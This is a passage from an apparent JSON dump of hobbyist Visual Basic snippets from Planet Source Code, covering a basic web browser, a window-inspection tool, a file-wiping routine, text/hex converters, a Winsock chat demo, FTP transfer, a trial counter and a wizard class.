Output As FN\nPrint #FN, txtUrl.Text & Chr(13)\nClose #FN\nEnd Sub\nPrivate Sub cmdBack_Click()\nOn Error Resume Next\nWebBrowser1.GoBack\nEnd Sub\nPrivate Sub cmdFav_Click()\nOn Error Resume Next\nFN = FreeFile\nOpen \"c:\\favs.txt\" For Input As FN\nlstFavs.Visible = True\nDo Until EOF(FN)\nLine Input #FN, NextLine$\nlstFavs.AddItem NextLine$\nLoop\nClose #FN\nEnd Sub\nPrivate Sub cmdForward_Click()\nOn Error Resume Next\nWebBrowser1.GoForward\nEnd Sub\nPrivate Sub cmdHome_Click()\nWebBrowser1.GoHome\nEnd Sub\nPrivate Sub cmdReload_Click()\nWebBrowser1.Refresh\nEnd Sub\nPrivate Sub cmdSearch_Click()\nWebBrowser1.GoSearch\nEnd Sub\nPrivate Sub cmdStop_Click()\nWebBrowser1.Stop\nEnd Sub\nPrivate Sub Form_Load()\nURL$ = \"c:\\\"\nWebBrowser1.Navigate URL$\nEnd Sub\nPrivate Sub lstFavs_Click()\ntxtUrl.Text = lstFavs.List(lstFavs.ListIndex)\ntxtUrl_KeyPress 13\nlstFavs.Visible = False\nClose #FN\nEnd Sub\nPrivate Sub txtUrl_KeyPress(KeyAscii As Integer)\nOn Error Resume Next\nIf KeyAscii = 13 Then\nURL$ = txtUrl.Text\nWebBrowser1.Navigate URL$\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":1424,"LineNumber":1,"line":"**** Put this in a module ****\nFunction WindowSPY(WinHdl As TextBox, WinClass As TextBox, WinTxt As TextBox, WinStyle As TextBox, WinIDNum As TextBox, WinPHandle As TextBox, WinPText As TextBox, WinPClass As TextBox, WinModule As TextBox)\n'Call This In A Timer\nDim pt32 As POINTAPI, ptx As Long, pty As Long, sWindowText As String * 100\nDim sClassName As String * 100, hWndOver As Long, hWndParent As Long\nDim sParentClassName As String * 100, wID As Long, lWindowStyle As Long\nDim hInstance As Long, sParentWindowText As String * 100\nDim sModuleFileName As String * 100, r As Long\nStatic hWndLast As Long\n Call GetCursorPos(pt32)\n ptx = pt32.X\n pty = pt32.Y\n hWndOver = WindowFromPointXY(ptx, pty)\n If hWndOver <> hWndLast Then\n hWndLast = hWndOver\n WinHdl.Text = \"Window Handle: \" & hWndOver\n r = GetWindowText(hWndOver, sWindowText, 100)\n WinTxt.Text = \"Window Text: \" & Left(sWindowText, r)\n r = GetClassName(hWndOver, sClassName, 100)\n WinClass.Text = \"Window Class Name: \" & Left(sClassName, r)\n lWindowStyle = GetWindowLong(hWndOver, GWL_STYLE)\n WinStyle.Text = \"Window Style: \" & lWindowStyle\n hWndParent = GetParent(hWndOver)\n If hWndParent <> 0 Then\n wID = GetWindowWord(hWndOver, GWW_ID)\n WinIDNum.Text = \"Window ID Number: \" & wID\n WinPHandle.Text = \"Parent Window Handle: \" & hWndParent\n r = GetWindowText(hWndParent, sParentWindowText, 100)\n WinPText.Text = \"Parent Window Text: \" & Left(sParentWindowText, r)\n r = GetClassName(hWndParent, sParentClassName, 100)\n WinPClass.Text = \"Parent Window Class Name: \" & Left(sParentClassName, r)\n Else\n WinIDNum.Text = \"Window ID Number: N/A\"\n WinPHandle.Text = \"Parent Window Handle: N/A\"\n WinPText.Text = \"Parent Window Text : N/A\"\n WinPClass.Text = \"Parent Window Class Name: N/A\"\n End If\n hInstance = GetWindowWord(hWndOver, GWW_HINSTANCE)\n r = GetModuleFileName(hInstance, sModuleFileName, 100)\n WinModule.Text = \"Module: \" & Left(sModuleFileName, r)\n End If\nEnd Function\n****** END OF MODULE ******\n'Put this is notepad and rename is winspy.frm\nVERSION 5.00\nBegin VB.Form Form1 \nBackColor=&H00000000&\nCaption =\"Window SPY\"\nClientHeight=3480\nClientLeft =2280\nClientTop=1590\nClientWidth =4440\nLinkTopic=\"Form1\"\nScaleHeight =3480\nScaleWidth =4440\nBegin VB.Timer Timer1 \nInterval=10\nLeft=1080\nTop =1560\nEnd\nBegin VB.TextBox Text9 \nAppearance =0 'Flat\nBackColor=&H00000000&\nBeginProperty Font \nName=\"Arial\"\nSize=8.25\nCharset =0\nWeight =700\nUnderline=0'False\nItalic =0'False\nStrikethrough=0'False\nEndProperty\n\nForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=8\n Text=\"Text9\"\n Top =3000\n Width=4215\n End\n Begin VB.TextBox Text8 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=7\n Text=\"Text8\"\n Top =2640\n Width=4215\n End\n Begin VB.TextBox Text7 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=6\n Text=\"Text7\"\n Top =2280\n Width=4215\n End\n Begin VB.TextBox Text6 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=5\n Text=\"Text6\"\n Top =1920\n Width=4215\n End\n Begin VB.TextBox Text5 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=4\n Text=\"Text5\"\n Top =1560\n Width=4215\n End\n Begin VB.TextBox Text4 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=3\n Text=\"Text4\"\n Top =1200\n Width=4215\n End\n Begin VB.TextBox Text3 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=2\n Text=\"Text3\"\n Top =840\n Width=4215\n End\n Begin VB.TextBox Text2 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=1\n Text=\"Text2\"\n Top =480\n Width=4215\n End\n Begin VB.TextBox Text1 \n Appearance =0 'Flat\n BackColor=&H00000000&\n BeginProperty Font \n Name=\"Arial\"\n Size=8.25\n Charset =0\n Weight =700\n Underline=0'False\n Italic =0'False\n Strikethrough=0'False\n EndProperty\n\n ForeColor=&H00FFFFFF&\n Height =285\n Left=120\n TabIndex=0\n Text=\"Text1\"\n Top =120\n Width=4215\n End\n End\n Attribute VB_Name = \"Form1\"\n Attribute VB_GlobalNameSpace = False\n Attribute VB_Creatable = False\n Attribute VB_PredeclaredId = True\n Attribute VB_Exposed = False\nPrivate Sub Timer1_Timer()\n\n WindowSPY Text1, Text2, Text3, Text4, Text5, Text6, Text7, Text8, Text9\nEnd Sub"},{"WorldId":1,"id":1415,"LineNumber":1,"line":"Step 1) Start up a project in VB... Make a new one\nStep 2) Goto 'Add Form', Double-Click on Web Browser\nStep 3) Goto Project1 Properties... And change the startup form to wWebBrowser1\nStep 4) Remove form1 (blank form).\nStep 5) Run the project and you got a full web browser with a toolbar and everything!!!"},{"WorldId":1,"id":1650,"LineNumber":1,"line":"Sub DestroyFile(sFileName As String)\n Dim Block1 As String, Block2 As String, Blocks As Long\n Dim hFileHandle As Integer, iLoop As Long, offset As Long\n 'Create two buffers with a specified 'wipe-out' characters\n Const BLOCKSIZE = 4096\n Block1 = String(BLOCKSIZE, \"X\")\n Block2 = String(BLOCKSIZE, \" \")\n 'Overwrite the file contents with the wipe-out characters\n hFileHandle = FreeFile\n Open sFileName For Binary As hFileHandle\n Blocks = (LOF(hFileHandle) \\ BLOCKSIZE) + 1\n For iLoop = 1 To Blocks\n offset = Seek(hFileHandle)\n Put hFileHandle, , Block1\n Put hFileHandle, offset, Block2\n Next iLoop\n Close hFileHandle\n 'Now you can delete the file, which contains no sensitive data\n Kill sFileName\nEnd Sub"},{"WorldId":1,"id":1653,"LineNumber":1,"line":"'enjoy! ;D\n\n'put this in a module, we don't want the user to\n'see this lil function, he has no need too\nPublic Function ChrAscii(Char As String) As Long\n Dim GetAscii&\n For GetAscii& = 0 To 255\n If Mid(Char$, 1, 1) = Chr(GetAscii) Then\n ChrAscii = GetAscii\n Exit Function\n End If\n Next GetAscii&\nEnd Function\n\n'Double Click on the user control, and in the General Declarations\n'Put this... these are the subs the you will use\nPublic Function TextToBinary(StringT As String) As String\nDim Ascii, FinalBinary$, GetNum&\nFinalBinary$ = \"\"\nFor GetNum& = 1 To Len(StringT$)\n Ascii = ChrAscii(Mid(StringT$, GetNum, 1))\n' 128\n If Ascii >= 128 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 128\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 64\n If Ascii >= 64 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 64\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 32\n If Ascii >= 32 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 32\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 16\n If Ascii >= 16 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 16\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 8\n If Ascii >= 8 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 8\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 4\n If Ascii >= 4 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 4\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 2\n If Ascii >= 2 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 2\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n \n ' 1\n If Ascii >= 1 Then\n FinalBinary$ = FinalBinary$ & \"1\"\n Ascii = Ascii - 1\n Else\n FinalBinary$ = FinalBinary$ & \"0\"\n End If\n If Mid(StringT$, GetNum + 1, 1) = Chr(32) Then\n FinalBinary$ = FinalBinary$ '& \" \"\n Else\n FinalBinary$ = FinalBinary$ '& Chr(32)\n End If\n Next GetNum&\n TextToBinary$ = FinalBinary$\nEnd Function\nPublic Function BinaryToText(BinaryString As String) As String\nDim GetBinary&, Num$, Binary&, FinalString$, NewString$\nNextChr:\nFor GetBinary& = 1 To 8\n Num$ = Mid(BinaryString$, GetBinary&, 1)\n Select Case Num$\n \n Case \"1\"\n If GetBinary = 1 Then\n Binary = Binary + 128\n ElseIf GetBinary = 2 Then\n Binary = Binary + 64\n ElseIf GetBinary = 3 Then\n Binary = Binary + 32\n ElseIf GetBinary = 4 Then\n Binary = Binary + 16\n ElseIf GetBinary = 5 Then\n Binary = Binary + 8\n ElseIf GetBinary = 6 Then\n Binary = Binary + 4\n ElseIf GetBinary = 7 Then\n Binary = Binary + 2\n ElseIf GetBinary = 8 Then\n Binary = Binary + 1\n End If\n End Select\n Next GetBinary&\nFinalString$ = FinalString$ & Chr(Binary)\nNewString$ = Mid(BinaryString$, 9)\n \n If NewString$ = \"\" Then\n BinaryToText$ = FinalString$\n Else\n BinaryString$ = NewString$\n Binary = 0\n GoTo NextChr\n End If\nEnd Function\nPublic Function IsBinary(StringB As String) As Boolean\nDim XX$, GetLet&\nFor GetLet& = 1 To Len(StringB$)\n XX$ = Mid(StringB$, GetLet&, 1)\n If XX$ <> \"0\" Or XX$ <> \"1\" Then\n If XX$ = \"0\" Or XX$ = \"1\" Then GoTo GetNext\n IsBinary = False\n Exit Function\n Else\n '''\n End If\nGetNext:\nNext GetLet&\nIsBinary = True\n End Function"},{"WorldId":1,"id":1654,"LineNumber":1,"line":"Sub WAVStop()\nCall WAVPlay(\" \")\nEnd Sub\nSub WAVLoop(File)\nDim SoundName As String\nSoundName$ = File\nwFlags% = SND_ASYNC Or SND_LOOP\nX = sndPlaySound(SoundName$, wFlags%)\nEnd Sub\nSub WAVPlay(File)\nDim SoundName As String\nSoundName$ = File\nwFlags% = SND_ASYNC Or SND_NODEFAULT\nX = sndPlaySound(SoundName$, wFlags%)\nEnd Sub"},{"WorldId":1,"id":1655,"LineNumber":1,"line":"Sub WindowHandle(win,cas as long)\n'by storm\n'Case 0 = CloseWindow\n'Case 1 = Show Win\n'Case 2 = Hide Win\n'Case 3 = Max Win\n'Case 4 = Min Win\nSelect Case cas\nCase 0:\nDim X%\nX% = SendMessage(win, WM_CLOSE, 0, 0)\nCase 1:\nX = ShowWindow(win, SW_SHOW)\nCase 2:\nX = ShowWindow(win, SW_HIDE)\nCase 3:\nX = ShowWindow(win, SW_MAXIMIZE)\nCase 4:\nX = ShowWindow(win, SW_MINIMIZE)\nEnd Select\n'any questions e-mail me at storm@n2.com\nEnd Sub"},{"WorldId":1,"id":1442,"LineNumber":1,"line":"Option Explicit\nDim st As Boolean\n***********************\nPrivate Sub DBGrid1_HeadClick(ByVal ColIndex As Integer)\n'Dbgrid Columns sort by clicking the grid header in two way ascending and descending\n If st = True Then\n DBGrid1.HoldFields\n Data1.RecordSource = \" Select * from Authors Order By \" & DBGrid1.Columns(ColIndex).DataField\n Data1.Refresh\n DBGrid1.ReBind\n Else\n DBGrid1.HoldFields\n Data1.RecordSource = \" Select * from Authors Order By \" & DBGrid1.Columns(ColIndex).DataField & \" DESC \"\n Data1.Refresh\n DBGrid1.ReBind\n End If\n st = Not st\nEnd Sub\n"},{"WorldId":1,"id":1433,"LineNumber":1,"line":"Please,If you do any changes let me know as a feed back.\nIf you like to have a .OCX as an Activex Email me, free no charge\nbut no source code. \nPrivate Function PrintGd(ByVal GridToPrint As DBGrid, ByVal MyRecordset As Recordset) As Long\nDim x, v, b\nDim Putit As String\nDim Myrec\nDim MyField\nDim TCapion\nDim Mydash\n Screen.MousePointer = 11\n \n Open \"C:\\Printed.txt\" For Output As #2\n Putit = \"\"\n Mydash = \"-\"\n \n For b = 0 To GridToPrint.Columns.Count - 1\n Myrec = \"\"\n MyField = \"\"\n x = GridToPrint.Columns(b).Width\n x = x / 100\n For v = 1 To x\n Mydash = Mydash + \"-\"\n If Mid(GridToPrint.Columns(b).Caption, v, 1) = \"\" Then\n Myrec = Chr(32)\n Else\n Myrec = Mid(GridToPrint.Columns(b).Caption, v, 1)\n End If\n MyField = MyField & Myrec\n Next v\n Putit = Putit & Chr(9) & MyField\n DoEvents\n '\n Next b\n Print #2, \" No\" & Putit\n Print #2, Mydash\nClose #2\n \nDim Colcap\nDim Toprint\n\nOpen \"C:\\Printed.txt\" For Append As #1\nMyRecordset.MoveFirst\nDim Nox\nDo While Not MyRecordset.EOF\nPutit = \"\"\nNox = Nox + 1\nFor b = 0 To GridToPrint.Columns.Count - 1\nIf GridToPrint.Columns(b).Visible = True Then\n Myrec = \"\"\n MyField = \"\"\n x = GridToPrint.Columns(b).Width\n x = x / 100\n For v = 1 To x\n DoEvents\n If Mid(GridToPrint.Columns(b).Text, v, 1) = \"\" Then\n Myrec = Chr(32) 'x\n Else\n Myrec = Mid(GridToPrint.Columns(b).Text, v, 1)\n End If\n MyField = MyField & Myrec\n Next v\n DoEvents\n Putit = Putit & Chr(9) & MyField\n Else\n End If\n \n Next b\n Print #1, Format(Nox, \"@@@\") & Putit\n\nMyRecordset.MoveNext\nLoop\n \nClose #1\nMe.Refresh\nDim RetVal As Long\n RetVal = ShellExecute(Me.hwnd, _\n vbNullString, \"C:\\Printed.Txt\", vbNullString, \"c:\\\", SW_SHOWNORMAL)\nScreen.MousePointer = 0\nEnd Function\nPrivate Sub Command1_Click()\nDim x\nx = PrintGd(DBGrid1, Data1.Recordset)\nEnd Sub"},{"WorldId":1,"id":9927,"LineNumber":1,"line":"Public Function GetTag(SourceString As String, Tag As String) As String\n 'Gets the tag and text between it\n If InStr(SourceString, \"<\" & Tag & \">\") = 0 Then\n GetTag = \"\"\n Exit Function\n End If\n GetTag = Mid$(SourceString, InStr(SourceString, \"<\" & Tag & \">\"), InStr(SourceString, \"</\" & Tag & \">\") + Len(\"</\" & Tag & \">\") - 1)\nEnd Function\nPublic Function GetTagText(SourceString As String, Tag As String) As String\n 'Grabs the text between tags\n If InStr(SourceString, \"<\" & Tag & \">\") = 0 Then\n GetTagText = \"\"\n Exit Function\n End If\n GetTagText = Mid$(SourceString, InStr(SourceString, \"<\" & Tag & \">\") + Len(\"<\" & Tag & \">\"), (InStr(SourceString, \"</\" & Tag & \">\")) - (InStr(SourceString, \"<\" & Tag & \">\") + Len(\"<\" & Tag & \">\")))\nEnd Function\n Public Function CutTag(SourceString As String, Tag As String) As String\n 'Cuts the entire tag out of the text\n If InStr(SourceString, \"<\" & Tag & \">\") = 0 Then\n CutTag = \"\"\n Exit Function\n End If\n CutTag = Left$(SourceString, InStr(SourceString, \"<\" & Tag & \">\") - 1) & Mid$(SourceString, InStrRev(SourceString, \"</\" & Tag & \">\") + Len(\"</\" & Tag & \">\"))\nEnd Function"},{"WorldId":1,"id":9923,"LineNumber":1,"line":"Public Function EnHex(Data As String) As String\n Dim iCount As Double\n Dim sTemp As String\n \n For iCount = 1 To Len(Data)\n sTemp = Hex$(Asc(Mid$(Data, iCount, 1)))\n If Len(sTemp) < 2 Then sTemp = \"0\" & sTemp\n EnHex = EnHex & sTemp\n Next iCount\nEnd Function\nPublic Function DeHex(Data As String) As String\n Dim iCount As Double\n For iCount = 1 To Len(Data) Step 2\n DeHex = DeHex & Chr$(Val(\"&H\" & Mid$(Data, iCount, 2)))\n Next iCount\nEnd Function"},{"WorldId":1,"id":5604,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1441,"LineNumber":1,"line":"Sub validate(textboxname As TextBox)\nIf KeyAscii > Asc(9) Or KeyAscii < Asc(0) Then\nKeyAscii = 0\nEnd If\nmypos = InStr(1, textboxname.Text, \".\")\nIf mypos <> 0 Then\ntextboxname.Text = Format(textboxname.Text, \"$###,###,###,###.##\")\nElse\ntextboxname.Text = Format(textboxname.Text, \"$###,###,###,###\")\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":1481,"LineNumber":1,"line":"'Open a project Exe. Put a winsock, and two textbox control ,named text2 and 'text3. Paste this code in it.\nPrivate Sub Form_Load()\nWith Winsock1\n.RemoteHost = \"your machine IP\" 'put your or someone else's IP here\n.RemotePort = 1001\n.Bind 1002\nEnd With\nchat1.Show\nEnd Sub\nPrivate Sub Text3_Change()\nWinsock1.SendData Text3.Text\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim strData As String\nWinsock1.GetData strData\nText2.Text = strData\nEnd Sub\n'********************************************************************\n'paste code below into another form having 2 text boxes and winsock \n'control in the SAME project\n'********************************************************************\nPrivate Sub Form_Load()\nWith Winsock1\n.RemoteHost = \"your machine IP\" 'put your or someone else's IP here\n.RemotePort = 1002\n.Bind 1001\nEnd With\nEnd Sub\nPrivate Sub Text3_Change()\nWinsock1.SendData Text3.Text\nEnd Sub\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim strData As String\nWinsock1.GetData strData\nText2.Text = strData\nEnd Sub\n\n\n"},{"WorldId":1,"id":1698,"LineNumber":1,"line":"' Dim Inet1 As New InetCtlsObjects.Inet\nDim FTPHostname As String\nDim Response As String\nPublic Sub writefile(pathname As String, filename As String, IPaddress As String)\n'note ..your ip addres specified should be that of an anonymous FTP Server.\n'otherwise use ftp://ftp.microsoft.com kind of syntax\n FTPLogin\n FTPHostname = IPaddress\n Inet1.Execute FTPHostname, \"PUT \" & pathname & filename & \" /\" & filename\n Do While Inet1.StillExecuting\n DoEvents\n Loop\n Exit Sub\nEnd Sub\nPublic Sub getfile(pathname As String, filename As String, IPaddress As String)\n'note ..your ip addres specified should be that of an anonymous FTP Server.\n'otherwise use ftp://ftp.microsoft.com kind of syntax\n FTPLogin\n FTPHostname = IPaddress\n Inet1.Execute FTPHostname, \"GET \" & filename & \" \" & pathname & filename\n Do While Inet1.StillExecuting\n DoEvents\n Loop\n Exit Sub\nEnd Sub\nPrivate Sub FTPLogin()\nWith Inet1\n.Password = \"Pass\"\n.UserName = \"Anonymous\"\nEnd With\nEnd Sub"},{"WorldId":1,"id":1606,"LineNumber":1,"line":"'Ok, now just Copy and Paste everything here into the Form1..not in the Bas!\n'<Start Copying>\nPrivate Sub Command1_Click()\n 'flip horizontal\n Picture2.Cls\n px% = Picture1.ScaleWidth\n py% = Picture1.ScaleHeight\n retval% = StretchBlt(Picture2.hdc, px%, 0, -px%, py%, Picture1.hdc, 0, 0, px%, py%, SRCCOPY)\nEnd Sub\nPrivate Sub Command2_Click()\n 'flip vertical\n Picture2.Cls\n px% = Picture1.ScaleWidth\n py% = Picture1.ScaleHeight\n retval% = StretchBlt(Picture2.hdc, 0, py%, px%, -py%, Picture1.hdc, 0, 0, px%, py%, SRCCOPY)\nEnd Sub\nPrivate Sub Command3_Click()\n 'rotate 45 degrees\n Picture2.Cls\n Call bmp_rotate(Picture1, Picture2, 3.14 / 4)\nEnd Sub\nPrivate Sub Form_Load()\nCommand1.Caption = \"Flip Horizontal\"\nCommand2.Caption = \"Flip Vertical\"\nCommand3.Caption = \"Rotate 45 Degrees\"\n Picture1.ScaleMode = 3\n Picture2.ScaleMode = 3\nEnd Sub\n'<Stop Copying...END>\n"},{"WorldId":1,"id":1486,"LineNumber":1,"line":"'Copy and Paste the following below this in the Form. NOT THE MODULE/BAS!!!!\n'Ok, here it is, start Copying:\nPrivate Sub Command1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nFormDrag Me\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nFormDrag Me\nEnd Sub\nPrivate Sub Label1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\nFormDrag Me\nEnd Sub\n"},{"WorldId":1,"id":1469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3262,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7406,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7301,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1494,"LineNumber":1,"line":"' Put this into Sub Main in a module\n' Disable/Enable CTRL+ALT+DEL\n'***************************************************************\n' Name: Dissable / Enable CTRL + ALT + DEL\n' Description:Dissable / Enable CTRL + ALT + DEL , This does just\n' what it says, it disables a used from pressing CTRL+ALT+DEL. Well\n' not dissables them from doing it, it just wont do anything if the\n' y do. :o)This is useful in setup programs when it is important th\n' ea a user not end task your program.\n' By: Cy Toad\n'\n'\n' Inputs:'Example of use:\n' Call Disable_Ctrl_Alt_Del()\n'Then at another time:\n' Call Enable_Ctrl_Alt_Del()\n'\n' Returns:Dissables / Enables CTRL + ALT + DEL You wont be able t\n' o use CTRL + ALT + DEL until you Enable it again, or restart your\n' system.\n'\n'Assumes:None\n'\n'Side Effects:You wont be able to use CTRL + ALT + DEL until you\n' Enable it again, or restart your system.\n'\n'Code provided by Planet Source Code(tm) (http://www.PlanetSource\n' Code.com) 'as is', without warranties as to performance, fitness,\n' merchantability,and any other warranty (whether expressed or impl\n' ied).\n'***************************************************************\n Dim X\n X = MsgBox(\"Do you wish to disable CTRL+ALT+DEL?\", 36, \"Disable/Enable CTRL+ALT+DEL\")\n If X = vbYes Then\n Disable_Ctrl_Alt_Del\n MsgBox \"CTRL+ALT+DEL is disabled, try pressing CTRL+ALT+DEL now.\", , \"Disable/Enable CTRL+ALT+DEL\"\nAgain:\n X = MsgBox(\"Enbale CTRL+ALT+DEL now?\", 36, \"Disable/Enable CTRL+ALT+DEL\")\n If X = vbYes Then\n Enable_Ctrl_Alt_Del\n ElseIf X = vbNo Then\n MsgBox \"The program will not end before CTRL+ALT+DEL is enabled.\", , \"Disable/Enable CTRL+ALT+DEL\"\n GoTo Again\n End If\n End If"},{"WorldId":1,"id":1501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1512,"LineNumber":1,"line":"'Put this in a command button or any control you want\npicture1.ForeColor = RGB(0, 0, 255) 'blue bar but you can change it\nFor i = 0 To 100 Step 2\nprecentworm picture1, i\nNext\npicture.Cls"},{"WorldId":1,"id":1518,"LineNumber":1,"line":"'put in form_load\nretvalue = GetSetting(\"A\", \"0\", \"Runcount\")\nWorm$ = Val(retvalue) + 1\nSaveSetting \"A\", \"0\", \"RunCount\", Worm$\nIf Worm$ > 99 Then 'put one number lower then it says....you can only run the program 200 times.\nMsgBox \"This is the end of the trial run\",16,\"Sorry\"\nUnload me\nEnd If"},{"WorldId":1,"id":8544,"LineNumber":1,"line":"Option Explicit\nOption Compare Text\n'-- This class encapsulates the logic for implementing a wizard.\n' Copyright Matthew Janofsky 2000\n'\n' To use the Wizard Engine:\n' Assign the panels in the order you want them displayed.\n' Panels can be any control that exposes the Visible\n' property and the Move method.\n' Assign the Next, Previous, Cancel and Finish buttons.\n' Make sure the first panel is in the position that\n' the panels should be displayed.\n'\n' Example:\n' Option Explicit\n'\n' Private WithEvents m_oWiz As cWizardEngine\n'\n' Private Sub Form_Load()\n'\n' Set m_oWiz = New cWizardEngine\n'\n' '-- Add the panels in the order we want them displayed.\n' m_oWiz.AddPanel Me.Frame1\n' m_oWiz.AddPanel Me.Frame2\n' m_oWiz.AddPanel Me.Frame3\n'\n' '-- Add the buttons.\n' Set m_oWiz.CancelButton = Me.cmdCancel\n' Set m_oWiz.FinishButton = Me.cmdFinish\n' Set m_oWiz.NextButton = Me.cmdNext\n' Set m_oWiz.PrevButton = Me.cmdPrev\n'\n' '-- Only allow the finish button on the last panel.\n' m_oWiz.FinishEnabledOnAllPanels = False\n'\n' '-- Start the wizard.\n' m_oWiz.StartWizard\n'\n' End Sub\n'\n' Use the cWizardEngine_BeforeNext() event to validate\n' the user's entry on the current panel when the\n' Next button is clicked.\n'\n' Use the cWizardEngine_AfterNext() event to do any\n' pre-display logic when a new panel is displayed\n' after the Next button is clicked.\n'----------------------\n' Property variables\n'----------------------\nPrivate m_lCurrentPanelNbr As Long\nPrivate m_bFinishEnabledOnAllPanels As Boolean\nPrivate m_aPanels() As Control 'Array of panels.\nPrivate WithEvents m_cmdCancelButton As CommandButton\nPrivate WithEvents m_cmdFinishButton As CommandButton\nPrivate WithEvents m_cmdNextButton As CommandButton\nPrivate WithEvents m_cmdPrevButton As CommandButton\n'----------------------\n' Class variables\n'----------------------\nPrivate m_lPanelCount As Long\n'----------------------\n' Raised Events\n'----------------------\nPublic Event AfterNext(NewPanelNbr As Long)\nPublic Event BeforeNext(CurrentPanelNbr As Long, _\n Cancel As Boolean)\n'----------------------\n' Methods\n'----------------------\nPublic Sub AddPanel(PanelToAdd As Control)\n On Error GoTo AddPanel_Error\n \n '-- Add a panel to the list.\n m_lPanelCount = m_lPanelCount + 1\n \n ReDim Preserve m_aPanels(m_lPanelCount)\n Set m_aPanels(m_lPanelCount) = PanelToAdd\n \n '-- If this wasn't the first panel, adjust the panel _\n ' dimensions and position to match the first panel.\n If m_lPanelCount > 1 Then\n With m_aPanels(1)\n m_aPanels(m_lPanelCount).Move .Left, .Top, _\n .Width, .Height\n End With\n End If\n \n '-- Exit the procedure.\n GoTo AddPanel_Exit\nAddPanel_Error:\n Select Case Err\n '-- Add specific error cases here\n 'Case ...\n Case Else:\n Err.Raise Err.Number, \"cWizardEngine::AddPanel()\", _\n Err.Description, Err.HelpFile, Err.HelpContext\n End Select\n Resume AddPanel_Exit\n Resume 'For debugging purposes\nAddPanel_Exit:\nEnd Sub\nPublic Sub StartWizard()\n On Error GoTo StartWizard_Error\n Dim X As Long\n \n '-- Set the command button properties.\n m_cmdCancelButton.Enabled = True\n \n If m_bFinishEnabledOnAllPanels = True Then\n m_cmdFinishButton.Enabled = True\n Else\n m_cmdFinishButton.Enabled = False\n End If\n \n m_cmdNextButton.Enabled = True\n m_cmdPrevButton.Enabled = False\n \n '-- Set the panel properties. Display the first panel.\n m_aPanels(1).Visible = True\n For X = 2 To m_lPanelCount\n m_aPanels(X).Visible = False\n Next\n \n '-- Set the current panel.\n m_lCurrentPanelNbr = 1\n \n '-- Exit the procedure.\n GoTo 